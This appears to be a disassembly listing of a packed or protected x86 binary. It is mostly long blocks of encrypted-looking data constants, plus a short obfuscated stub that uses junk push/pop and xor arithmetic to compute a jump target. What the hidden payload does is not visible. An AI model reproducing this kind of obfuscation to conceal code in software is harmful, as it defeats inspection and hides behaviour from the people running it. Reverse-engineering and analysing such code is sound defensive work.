54C35141h, 858982C6h, 607050Dh, 0B529F62Bh dd 6072B99h, 0BF666096h, 6E92BB7h, 0A9000000h, 0F2F09B3Ah dd 0AD666195h, 5E9h, 5D9C4500h, 66606D2Ah, 9FBAEE81h, 0CE8h dd 38351A00h, 0AD42E34h, 0E432BF8Ah, 299D8904h, 5A060705h dd 2E0C161h, 21D1B589h, 85030607h, 6071681h, 19CD8D89h dd 57600607h, 0D2805EF8h, 6A9661FEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 6FC350h dd 850F4EDBh, 6, 2ECD9531h, 0ADFC0607h, 8E9h, 234C1200h dd 2A6DDEA3h, 247C81DDh, 24h, 0B1870F10h, 29000000h, 71E1D95h dd 0EE95006h, 96000000h, 0D032138Fh, 44DA8634h, 35BD32EEh dd 240489C1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0E5C35646h, 896B534Fh, 7225185h, 24448B06h, 0D5B58928h dd 5006072Fh, 68D0Fh, 8B600000h, 616160D0h, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 9697C356h, 0F8CB4D0Dh, 421F858Dh, 6A060Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0A5D704C3h, 2960D0FFh, 72629B5h, 0FDB58B06h, 6106072Ch dd 24244403h, 12D58529h, 44890607h, 0F601C24h, 681h, 15852900h dd 31060701h, 72AF98Dh, 85C66106h, 6071C4Dh, 3385C700h dd 60A7Eh, 0C7000000h, 0A7CD085h, 6, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 9D897F67h dd 6071159h, 8C2F861h, 358D0100h, 8B06072Fh, 7168185h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 9E04FDCh, 703D58Dh, 0BD314A06h, 6070F85h dd 0F804D26Bh, 6AC203F8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 9737C356h, 0F2CE819h dd 0C83h, 6890F00h, 0F000000h, 8Bh, 6A9600h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F9677EC3h dd 68F0FADh, 89000000h, 70B4DB5h, 247C8106h, 24h, 0ED870F10h dd 89000000h, 72B5D95h, 8E0F9006h, 0Ch, 6830Fh, 52500000h dd 585A310Fh, 0CE950h, 93350000h, 0A5D607C6h, 82013818h dd 6A903DE7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 575C350h, 8B21A027h, 6A282444h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0A6D7C355h, 0BD8960F8h, 60701FDh dd 7E9h, 5B589D00h, 12DFD671h, 0F605061h, 282h, 0BEC78B00h dd 6B1B4233h, 24048961h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 4C35646h, 588832DBh, 19098D89h, 858D0607h dd 60A421Fh, 68F0Fh, 9D890000h, 6071FF1h, 6AD0FFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0F9F869C3h, 0FFFDFFE9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 92B60ECBh dd 0C800FF0h, 60000000h, 117D8589h, 0B8660607h, 8D617E93h dd 0A910A85h, 10830F06h, 0E9000000h, 0Bh, 30B4E1BDh, 39115BB8h dd 89112427h, 72D91B5h, 52505006h, 68B0Fh, 830F0000h, 0 dd 5250310Fh, 13E9h, 902E7800h, 0B769EFC9h, 0E49A07Fh dd 0B6713B04h, 0D442CD23h, 5E9310Fh, 40000000h, 0DBA8C64Ah dd 585A585Ah, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 92CCC356h, 354FD79Eh dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0DA5BC357h, 1AFAE887h dd 37D3DCBAh, 68D0Fh, 8D290000h, 60731A1h, 6024048Bh, 0AE8h dd 9888F200h, 76BD4DF7h, 6653BDD8h, 5659CA8Bh, 598ACD80h dd 0B5858961h, 6A060701h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0FC6C355h, 0F8Fh, 0AE900h dd 1D90000h, 4B28C851h, 0F7211BEFh, 258964h, 89000000h dd 71AC9BDh, 86858D06h, 0F060A8Eh, 0E8Bh, 95896000h, 60712E5h dd 191DB58Bh, 89610607h, 6A0160h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0D1E9ABC3h, 60000002h dd 4701BF66h, 6890Fh, 95890000h, 60720D5h, 0E8DB8B61h dd 0 dd 7FED815Dh, 0BC060A8Eh, 12FF9Ch, 44DBD83h, 74000607h dd 49858B18h, 0C6060707h, 858B0000h, 6072FB5h, 0FF0000C6h dd 71F3995h, 0B5FF6006h, 60A78D4h, 78D8858Dh, 8D50060Ah dd 0A7AD085h, 95FF5006h, 6071EB1h, 610CC483h, 1A899D31h dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 601A23C3h, 0CF8166F9h, 0FC6123CFh, 7AD0B58Dh dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 48AA1C3h, 89C96287h, 11E9F5h, 0E010000h dd 392F7F4Ch, 8288F25h, 94CC8B7Fh, 8D005109h, 7272DBDh dd 11E906h, 3A720000h, 47E82A96h, 0F6649EE1h, 0CDE1F487h dd 80AB28A8h, 840F003Eh, 88h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 8CC35343h, 0D3CA4994h, 0C55BD89h dd 6AA40607h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 6A2BC353h, 6BAA8282h, 0E96FE0DDh dd 0Dh, 2A75BDF2h, 6E3A9AB5h, 0A3DFED5Ah, 0FF95E93Ah, 6AFFFFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 13053C3h, 9D294D4Ah, 6072CEDh, 6AC02Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0B8B18AC3h dd 33698531h, 8E0F0607h, 6, 0BFD8589h, 6AAA0607h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 60CBC353h, 0FC88B66h, 383h, 12E68000h, 0F08B6061h, 1CA58D23h dd 0B8610607h, 7, 7D85C7F8h, 106071Dh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 7544C350h, 57347FABh, 0D1A9B647h, 6860Fh, 85090000h dd 6070745h, 0B48D8DF5h, 6A06074Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0FCDBC353h dd 304CD976h, 0BD8B6000h, 6073309h, 38D0Fh, 8B660000h dd 0E1FF61D6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 72C35242h, 6B05611Eh, 0F878F846h, 2D49BD89h, 0E8600607h dd 0Bh, 0B74EA44h, 0EC2F2C52h, 0F9410ACh, 8Ch, 8B615800h dd 550C245Ch, 0E8h, 0ED815D00h, 60A9114h, 0B8838Bh, 85890000h dd 60A78D4h, 8E78858Dh, 8389060Ah, 0B8h, 0C3C0335Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F7C35343h, 4981FF87h dd 0CE9DC1Dh, 0 dd 0B785CA53h, 0FFD56DCBh, 6ABA7BCFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0AD62C353h dd 0FE1D63DFh, 303DC193h, 0F55B509h, 840F0607h, 8, 8C0F60h dd 61000000h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 69D01DF5h, 858DD842h, 60A938Eh, 0BE96060h dd 4D000000h, 0BC8FA46h, 3CAB9466h, 9D29596Ch, 6072645h dd 0F506161h, 1B83h, 0EE96000h, 4B000000h, 1CC24FEEh, 82FC2741h dd 0C7E73C54h, 800F74h, 61000000h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0F212C357h, 1D320E0Fh, 8060B8F7h, 8166BDC8h, 61F6E1F6h dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 2F60C353h, 0D3FBB850h dd 0BD8B6024h, 6070959h, 15ED8531h, 31610607h, 708F5B5h dd 51858906h, 6406070Ah, 2589h, 85310000h, 6070171h, 93FE858Dh dd 0AE9060Ah, 6C000000h, 23BDE8C0h, 4E5035A2h, 1608984h dd 4D85C6F9h, 4F06071Ch, 0A840Fh, 89600000h, 703ED9Dh dd 61D78B06h, 2605AE68h, 8B6660F7h, 0C88B66FBh, 24048161h dd 7A26E7Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0EFC35141h, 70E98CC7h, 9F8A6EEh, 7174D8Dh, 0EDB5FF06h dd 6A060712h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 90FFC357h, 60CD36B0h, 1C758D89h dd 0BD8B0607h, 60712F1h, 0FE858D61h, 6A060A7Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 4FE3C355h, 989116E1h, 229C34B6h, 3CD9D09h, 0D0FF0607h dd 0C8C0Fh, 880F0000h, 6, 0F799589h, 8CE90607h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8B44C351h, 550C245Ch, 0E8h, 0ED815D00h, 60A9398h dd 1A9858Bh, 85890607h, 60712EDh, 16BD858Bh, 85890607h dd 6072C7Dh, 1589858Bh, 85890607h, 6072EC5h, 1C4D85C6h dd 0C7000607h, 0A7E3385h, 6, 0FE858D00h, 89060A93h, 0B883h dd 0C0335D00h, 7E9C3h, 3A100000h, 4D1EA6ACh, 1810FDEh dd 0F9000000h, 0C19D09F9h, 0BC06071Dh, 12FF74h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D2C35141h, 0BEA2512h dd 8F64F838h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 7E30CA14h, 6A04C483h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F9ADC352h, 85096060h, 60708F5h, 0FB82BE66h dd 0E8616161h, 6, 78233362h, 858B1A7Dh, 6072EDDh, 499D895Eh dd 8106071Bh, 6991C6h, 0CFB70F00h, 68h, 52B96600h, 95295B93h dd 6072C95h, 511E148Bh, 5FF88B66h, 6F63EA81h, 0EA8103A5h dd 1A7C6DEFh, 2DA1BD8Bh, 0F2810607h, 5D778523h, 172D858Bh dd 81520607h, 0D1214DF1h, 1E048F33h, 58CBE781h, 8D895959h dd 6071B05h, 6601EB83h, 4B4BFE8Bh, 8D8B524Bh, 6072B5Dh dd 0CFB8159h, 0FFFFF97h, 0FFFFA785h, 10E8FFh, 5DE0000h dd 0A59F0E12h, 7213CF07h, 0FD9647F7h, 0B5890D2Ah, 60730E5h dd 13E858h, 0CE830000h, 925579A4h, 5209A7EDh, 135F7BD2h dd 55A28302h, 0BD89BA8Dh, 0F5E4CDEh, 0C681D3BFh, 5F54h dd 0B89CBF66h, 179EB8h, 0DE800h, 85B20000h, 31E475EFh dd 5DE8B81h, 899F0E12h, 70FA9B5h, 36FF5A06h, 9958D89h dd 8B590607h, 732A19Dh, 94C18106h, 36E252Fh, 71BB1BDh dd 0DBC18106h, 8A4D58AEh, 62F181DEh, 0E946F488h, 6, 0B74DA1EFh dd 0E8519003h, 0Ah, 23F3CDBAh, 692CD4B8h, 958BB706h, 6070981h dd 1068F5Fh, 72C3595h, 2EE8306h, 31AFCB81h, 4E4E59B3h dd 19850F48h, 8B000000h, 71CA19Dh, 2CE906h, 7F250000h dd 178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 1065BD8Bh, 77E90607h dd 0A2FFFFFFh, 0F4757FF2h, 31DF0B9Fh, 4370348Ah, 5D28EAF0h dd 0E5E927DEh, 10000000h, 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h, 0A335375h dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh, 0B6F360D6h dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh dd 0E0A1Eh, 0A766C1A8h, 43F2FD54h, 69A49EDBh, 0C83E9h dd 99756800h, 7BE9060Ah, 68FFFCE6h, 60A9A47h, 0FCE671E9h dd 9AF068FFh, 67E9060Ah, 68FFFCE6h, 60A9BF6h, 0FCE65DE9h dd 9C8568FFh, 53E9060Ah, 68FFFCE6h, 60A9D51h, 0FCE649E9h dd 9E8468FFh, 3FE9060Ah, 68FFFCE6h, 60A9F63h, 0FCE635E9h dd 0A03B68FFh, 2BE9060Ah, 68FFFCE6h, 60AA0EFh, 0FCE621E9h dd 0A1B768FFh, 17E9060Ah, 0C0FFFCE6h, 0BE53BBEDh, 71ECF45Ah dd 24394117h, 9C7199CFh, 6C8DD583h, 0C094F1F2h, 1A4EA5B8h dd 55031FF2h, 0ACF2D00Dh, 0CE29CB44h, 3075C68h, 0A2C2B828h dd 0A2441E44h, 0CB972F08h, 0EFD7050Dh, 0DCBCA6Ch, 0B4BA8A05h dd 5EE46B21h, 0D355F50Dh, 88E86346h, 65C49EC6h, 95D1470Dh dd 0C8CA73F5h, 0A02C0AE4h, 9D124B6Bh, 7B5964EFh, 9D4E040Ah dd 8F55BDE5h, 0F5461C59h, 0F3480C4h, 43096984h, 0A6BC1D1Bh dd 1D75E8F0h, 0E1AF9D37h, 1797B879h, 0F42E08D8h, 2A358706h dd 6838F91Bh, 0A5D368Bh, 6B411103h, 85EDB393h, 83D1320Fh dd 65F5B09Dh, 0D0706ACFh, 292F754Dh, 0A5964AA8h, 30A7A11h dd 3F396151h, 191F45A2h, 0F658B8h, 0C4E9C397h, 2013B54Fh dd 30A7A9Eh, 2CA589ACh, 631F2140h, 0F048ED53h, 385717EDh dd 0F6886C68h, 0E8A2CA90h, 0EB6D3311h, 2261EBBBh, 0E9B5E267h dd 522h, 1E44A26Fh, 0F359B918h, 870341EBh, 1DB7FFA9h, 0C5EEF57Bh dd 810A08B7h, 0C536C44Fh, 82428AEAh, 345618A1h, 0EE68580Fh dd 97FDD534h, 0C625E5A1h, 30A3474h, 4DD4D83Ch, 0B5E26606h dd 578Dh, 7F954B00h, 8B0496F3h, 110B62DDh, 4E06F038h, 0BAF34C06h dd 5A0F340Eh, 902AEC6Ah, 0A0E1FA7h, 0B7575F03h, 0A0E06B4h dd 4ECD2703h, 7CFA2268h, 65D3819Dh, 0F4B93307h, 81981C70h dd 0EAA0CEFh, 0DAEA030Ah, 0E8F3700h, 0E7CF030Ah, 2FE6AD27h dd 0C6ADB5E2h, 0AB000000h, 181E44A2h, 52085CB9h, 94FC01ECh dd 1BF6D43Dh, 0B8EC6A3Eh, 0B3930EE8h, 88EE6BEDh, 10B9BAC2h dd 0D1050D1Dh, 8E43ABF1h, 0D274E2A8h, 89DF3AB4h, 18F18B41h dd 0B9BA6A3Ch, 0F34465Ch, 613711ECh, 0D09D6339h, 8F46459Dh dd 6ED023F9h, 2E030A66h, 0E40E4606h, 1C1FB5EEh, 935BA88h dd 0F34E042Ch, 1E56C090h, 3F12B44Eh dd 4CD17127h, 0DD2573h, 0A987127h, 28090F2Fh, 92F5B32h dd 0F0D70000h, 0B78D40A8h, 684499E1h, 0DA3BD63Eh, 96F36E76h dd 0DF9BBAC2h, 55BDEBC4h, 0EFF759B8h, 3A421072h, 7199CF27h dd 85393ADEh, 0C5030752h, 4E5E75Dh, 71FF792Fh, 418F285h dd 43034B7Bh, 0AFB79DFEh, 0E60E54B2h, 267F950Ch, 0C1DA936Ch dd 0A3A0F34h, 0C12F930Ch, 6367030Ah, 75C18689h, 0B748B5E1h dd 8C000000h, 181E44A2h, 0B9B670FEh, 0FCD1574Bh, 0A0F4D12Ch dd 929435B6h, 7D55050Dh, 0D023E7C2h, 50D9D6Eh, 58DE062Eh dd 419CE42Ch, 6B3D3B61h, 9162387Dh, 0F34C974h, 4E94FCC4h dd 0A8815B18h, 571F194Fh, 0C912EDB7h, 2F093565h, 0B4A2F0D2h dd 51AC50F0h, 23F92177h, 5FA7EDCEh, 0C226A182h, 0A2EA9A9Ch dd 0E8045ABh, 607DF309h, 85Dh, 0BEC682E5h, 0F71F41A3h dd 46C3A1Ah, 5CA4E8C9h, 0E8F0A481h, 0B5960D49h, 6F4A87EFh dd 223CD139h, 91F16C74h, 48ECA3CBh, 75157EFh, 358F1703h dd 7E2804E5h, 227653AEh, 3F78268h, 3ED688AAh, 9A4A72D8h dd 0D1879F72h, 44A23389h, 4FA2441Eh, 73332573h, 0DCB3E80h dd 0DB367E05h, 7FF9A9FFh, 0B6DE84E2h, 0EBF98490h, 662710CAh dd 960F34EFh, 0F4904BAEh, 1600724Bh, 0EE9A3F0h, 0F7FB9EB1h dd 1DC73101h, 8472243Ch, 0DC0A00C0h, 0CA72CD87h, 76F1FB36h dd 5DB5944Eh, 1472EFF7h, 46EBD74Eh, 0B3A9105Bh, 7B4DAh dd 2D7B5200h, 662808C5h, 0B3E5C31Eh, 0B51B6ABh, 470D6EE3h dd 7F641E3Fh, 332E3662h, 0E57880D0h, 5EB3DB89h, 55CA1278h dd 51FE40B3h, 0D6BE0307h, 1E44A25Ch, 488EE544h, 0DCB57EFh dd 0E72F1705h, 93953571h, 0C882D331h, 567BB362h, 0A87877EBh dd 0C5E02112h, 0F5100F34h, 541B79Dh, 796FB5DDh, 4295663Ch dd 8609345Fh, 0DF590F6Bh, 54B56F97h, 7B2B2D7Bh, 0DA3811ABh dd 0D41C40A1h, 2B71518Ch, 284D9B2Dh, 0D3859F72h, 3DD76933h dd 707CC2h, 0A5191A05h, 0E5050070h, 0EBC421DDh, 0C30BBBBDh dd 0CEA42003h, 1BF60F3Eh, 0C7BB6B3Dh, 0E98325FFh, 0AE6A80Eh dd 0C97F9A03h, 0D62B5972h, 0E77A2A1Ah, 66300C8Fh, 0DB3BD63Eh dd 3A05DF75h, 30A6184h, 0CA2CFCC4h, 31857608h, 71030A61h dd 5D8B8141h, 16A84218h, 898ADE3Bh, 30A6135h, 0E8BE9875h dd 2EFE266Eh, 334330CDh, 59B08009h, 91CC267h, 0AE76170Dh dd 54000006h, 12CF1771h, 0C5186036h, 0B855BDEBh, 70EDF55Bh dd 18394117h, 3C68455Eh, 76DA39D4h, 0C197F36Eh, 184EA4B9h dd 0BA855FF0h, 3075004h, 9566DC44h, 0F34BB47Fh, 0B3050DCBh dd 0B6815B83h, 0F337532h, 55B46E56h, 55CF177Dh, 16CC9AF4h dd 75D9125h, 21E1D103h, 6B45C6DCh, 0D18B3B3Dh, 75DD066h dd 78A09003h, 0B03E54FEh, 32120F51h, 8AB2F264h, 793D3ED0h dd 3903075Dh, 0B0835909h, 93E6773h, 745AB383h, 6090FBEh dd 61F6D00h, 0C0270000h, 879D7098h, 785489D1h, 2A0BC62Eh dd 0E6C31E66h, 0CF8BAAB2h, 45ADFBD4h, 9FE7A988h, 2A326042h dd 6189DF37h, 95290AAEh, 0D5030757h, 7F95F74Dh, 56C090F3h dd 0C33CD61Eh, 0F337218h, 233ED4DCh, 98759DC3h, 0B062D4BAh dd 76167A59h, 0FC7FB6DCh, 3075D3Ah, 0E5730C08h, 1AD6037Dh dd 9628E22Ah, 7CC11A5h, 72A75103h, 940173Bh, 7D07C70Fh dd 39450682h, 0BE977209h, 6D47FF78h, 3F07050Dh, 7315CFF7h dd 0FB13BB9Eh, 11B88EF4h, 0BE83438Bh, 77EAF258h, 6346DB1Fh dd 888B3B3Dh, 50D9B36h, 10064E76h, 490350B6h, 3F1A91F0h dd 7FA7EF69h, 0CD2A15AFh, 5B0F34B9h, 0EFBFE5C6h, 0ECA4373h dd 8C0315DCh, 553F796h, 9CF30000h, 4BA9A4CCh, 460FD05h dd 0FED70A52h, 0B28F42AAh, 37F9EE6h, 89D187E0h, 0C32B7D54h dd 1E662C0Eh, 55BDE3C3h, 59DD5EFAh, 19030756h, 44A23389h dd 59B9181Eh, 0AC299B61h, 0FEFD65D0h, 0D90B97Dh, 81C9F905h dd 0B15DA379h, 42856409h, 0FE143EEEh, 0AF0CEFA5h, 0EF0F3451h dd 5CDE51C7h, 7D030A33h, 54C53361h, 0E52F297Fh, 0D692179Dh dd 3017FAF2h, 0F7B5E25Fh, 4Ch, 267F957Dh, 0C1DA936Ch, 0A3A0F34h dd 3464CA0Ch, 25CCDD4Bh, 0E654D777h, 0AE030A21h, 58DB3514h dd 6AEC147Ah, 866E6A3Ah, 0E255C483h, 8B740EB5h, 30A1533h dd 0EFB59673h, 0D018E7A7h, 0FC000000h, 0E751071Dh, 452B2AFh dd 0C8B25212h, 0E9CB44A2h, 0CDF5B1A7h, 0A7EDCE4Bh, 0B1320CEDh dd 5E160054h, 61F07616h, 7CDD5B01h, 2B283066h, 50DC786h dd 0D1396F47h, 8670263Ch, 0A77D262Ch, 66266C4Ah, 0EB5263DCh dd 0D2E20F34h, 3162608Ah, 0FCA9959Bh, 0A57497Ch, 1D5FE750h dd 171F030Ah, 152AD77h, 0F10935C1h, 0D5360BC1h, 89EA678Fh dd 0EBA042DBh, 0C02090Eh, 42071h, 99CF2600h, 0D2849C71h dd 2F79578Ah, 672D0AC7h, 0B3E1C21Fh, 0D3D08AABh, 875AA2F6h dd 7994FCACh, 322F371Dh, 0A9668ED4h, 558A2C0Fh, 5ACA0307h dd 1341A2E0h, 0DE80E079h, 147C2C58h, 16699F9h, 0B4A9DD5Bh dd 470F095Fh, 0EF5DF71Fh, 5EB7F0DDh, 3803040Ah, 0E5C6BC6Ch dd 0C1E14817h, 9737880Ch, 540E57BDh, 34ECA2EBh, 71C2640Fh dd 30AECCDh, 4C12708Dh, 0A8984404h, 0EC8D2DAEh, 54AC030Ah dd 71C21402h, 30AECCDh, 49A8A58Dh, 2AAC1107h, 1509FDC2h dd 91DBB89Fh, 7AA2B5E1h, 0A6000000h, 181E44A2h, 0E085CB9h dd 0DC73C8Dh, 0BFE5FD05h, 0F65CBA57h, 0F3A0A600h, 0EBD1DE59h dd 51610F34h, 0B0E5E309h, 3AAF191Ah, 2B1B0935h, 0E9BF9871h dd 25734C81h, 0EBB042Ch, 21BCB209h, 341h, 52BAEEC1h, 0EBF3A5BFh dd 38401676h, 7098CC25h, 8CD4809Dh, 91F2F16Dh, 43A6BBC3h dd 3E18F51Dh, 0F5CD0068h, 2CC847AFh, 7546BD3h, 0C1BB2B03h dd 0CB1341A2h, 26A3016h, 1E44A2A8h, 0DB24FE18h, 50DCB63h dd 0C2346242h, 6C6EE82h, 42A0DB3Bh, 9A8CD41Ch, 38FC580h dd 0CDF97F21h, 336CCF85h, 0E50F34EFh, 0F87E2804h, 96601CCCh dd 82F7C8FEh, 5EE05380h, 1E030A37h, 53A6EE16h, 0C1AE7A98h dd 2D769CA7h, 0FE28977h, 2E91114Bh, 6A5BA47Eh, 0DAAD0670h dd 8CDA6CEAh, 7AC23DD7h, 0C6AB068Fh, 3FFA7A38h, 4D7505CEh dd 1CFD97h, 6F51E556h, 1063A732h, 0D192F9BEh, 0B08321DDh dd 0A732240Eh, 6E3E664Eh, 371D75D4h, 8ED4322Fh, 0DD5E6797h dd 0CEAFA566h, 269h, 8AD2B699h, 0C32B7D57h, 10782E0Eh dd 0A8B0E4FDh, 0E40C58B5h, 0A98A1955h, 1B7E93FBh, 0D6302D35h dd 8DE57880h, 44E0BFC7h, 76B43FBh, 19930303h, 441E44A2h dd 9D98FE5h, 164F852Fh, 9454DA7Ch, 81391D6Ch, 8B85393Ah dd 3BC5050Dh, 5314D55Dh, 34D41CE1h, 1D75D46Eh, 83949737h dd 0C30F340Eh, 53BDEBF3h, 0A3793A28h, 3523694Eh, 280BD171h dd 933086Fh, 3462429Fh, 2D7B57C2h, 0A158BDE5h, 0B9BFA115h dd 0AC095F3h, 0BA638C29h, 2F43CB3h, 5BF1A2A0h, 54BA881h dd 0CB56E645h, 0DAEAB5BAh, 83C92900h, 0DA80E67Bh, 9952BD43h dd 0E8857B4Ch, 1B5h, 0C62E7A4Dh, 1F67290Bh, 0ACB4E2C2h dd 0E40C50B1h, 30580C69h, 1D7E65E1h, 0D7322F37h, 8AE47981h dd 7959B4DCh, 0B054CB13h, 76BFF47h, 5DD7BF03h, 181E44A2h dd 411B588Eh, 34C875F6h, 0C52D150Fh, 0CF053EC3h, 0D45AFC96h dd 0E34647BFh, 9D21127Dh, 0DD030A4Fh, 7EFDADD5h, 9336B41h dd 0F57481B1h, 0BC1847A1h, 0CFC0F947h, 3416FBB5h, 0BA8BE94h dd 4D49E651h, 0C9F9B7C6h, 0B6EFE54Fh, 0E59D231Ch, 2A07B1C6h dd 0E89C9AC8h, 4BA94438h, 78A0F6D0h, 30B639F6h, 236B4FD4h dd 0D264D769h, 0F3BDF2DDh, 333CF91h, 0AE7B943h, 0B7FF792Fh dd 0DD9C221Dh, 0D4DCBDF2h, 83C92934h, 0DA80E67Bh, 1E37C743h dd 96F76D50h, 0EDh, 0E563215h, 47AFF1D3h, 94FCAA8Ah, 2C341879h dd 7880D431h, 25069DD9h, 9FFA177Fh, 52ACA1C9h, 161FC04h dd 0F89C335Bh, 76AC77Fh, 0A51F8703h, 0EBCB44A2h, 4194BBA5h dd 0E0436F1Dh, 0FE14BEB8h, 3212EFA5h, 1D1EA464h, 0F345E74h dd 8D0C6984h, 3272E4B0h, 5FE7500Ah, 1F030A20h, 0D87EF17h dd 2036886Bh, 4E76030Ah, 55EB49Eh, 9951EC4Fh, 0DDE50934h dd 6798FE5Bh, 0CD155D0Bh, 0FC42BD57h, 0CE0500B6h, 0FEDB3A42h dd 5CB935B7h, 77EA1244h, 809D4D1Bh, 88563AA2h, 4B1C14DFh dd 96F04903h, 4E1E56C0h, 0B75C77E8h, 0D1B5F552h, 7D2303DBh dd 0B49AF815h, 5DB99042h, 6B93C122h, 1B41A6BBh, 816B4F1Dh dd 0BBC389E9h, 782E08E1h, 0B16B6FEh, 9AF3652Bh, 15h, 0A943E526h dd 0DCBE84Eh, 9B98A805h, 50DCB23h, 75B35363h, 1D4BA283h dd 0F258BE1Bh, 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh dd 8DD330A1h, 782E0E8Bh, 5F0163FEh, 545332D9h, 4C3815Bh dd 83000000h, 1C8704EBh db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 38B0h mov [esp], eax push 25CCh mov [esp], ecx mov ecx, 60A9762h mov edi, ecx pop ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push edi add dword ptr [esp], 0D7F7C83h pop dword ptr [eax+8] push ebx mov ebx, 699022FEh or ebx, 0FF15C0Fh dec ebx sub ebx, 47595396h xor ebx, 13B731EEh xor ebx, 7B29556Ah add ebx, 0CD792C97h sub [eax+8], ebx pop ebx push dword ptr [esp] pop eax add esp, 4 mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_54311E ; --------------------------------------------------------------------------- dw 1F2Ch dd 0EBCEC0E2h, 0C7F0F627h, 301028E7h, 0AA2C9B8h, 0FFC50306h dd 633DEFE0h, 19F55324h, 0FB590B65h, 0D6F98352h, 7A977555h dd 0C681070h, 0E14E2733h, 1B4B0511h, 47B99169h, 6D216D41h dd 148E970h, 500000h, 540000h, 580000h, 5C0000h, 600000h dd 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h, 0B80000h dd 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h, 0D00000h dd 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h, 0E80000h dd 0EC0000h, 38h dup(0) dd 57B20000h, 50EB0057h, 858D009Fh, 60AA3ADh, 18C0Fh, 89F90000h dd 0AA4ED85h, 65BD2906h, 0E906072Ch, 0Fh, 637247A3h, 699B9906h dd 0AA0098EBh, 0C6ABABE1h, 71C4D85h, 0EE95406h, 88000000h dd 9A632649h, 37B4DE58h, 4CBBBA13h, 0EC50689Ah, 830FCD0Dh dd 0Dh, 8E9h, 5A3F0000h, 0BD20D5A4h, 243481ABh, 236F8479h dd 2AD98D09h, 0B5FF0607h, 60712EDh, 68E0Fh, 95890000h dd 60720C9h, 0AD26BE66h, 7CFE858Dh, 34BE060Ah, 0FF4A1E85h dd 12E8D0h, 0D8940000h, 5A6A33FBh, 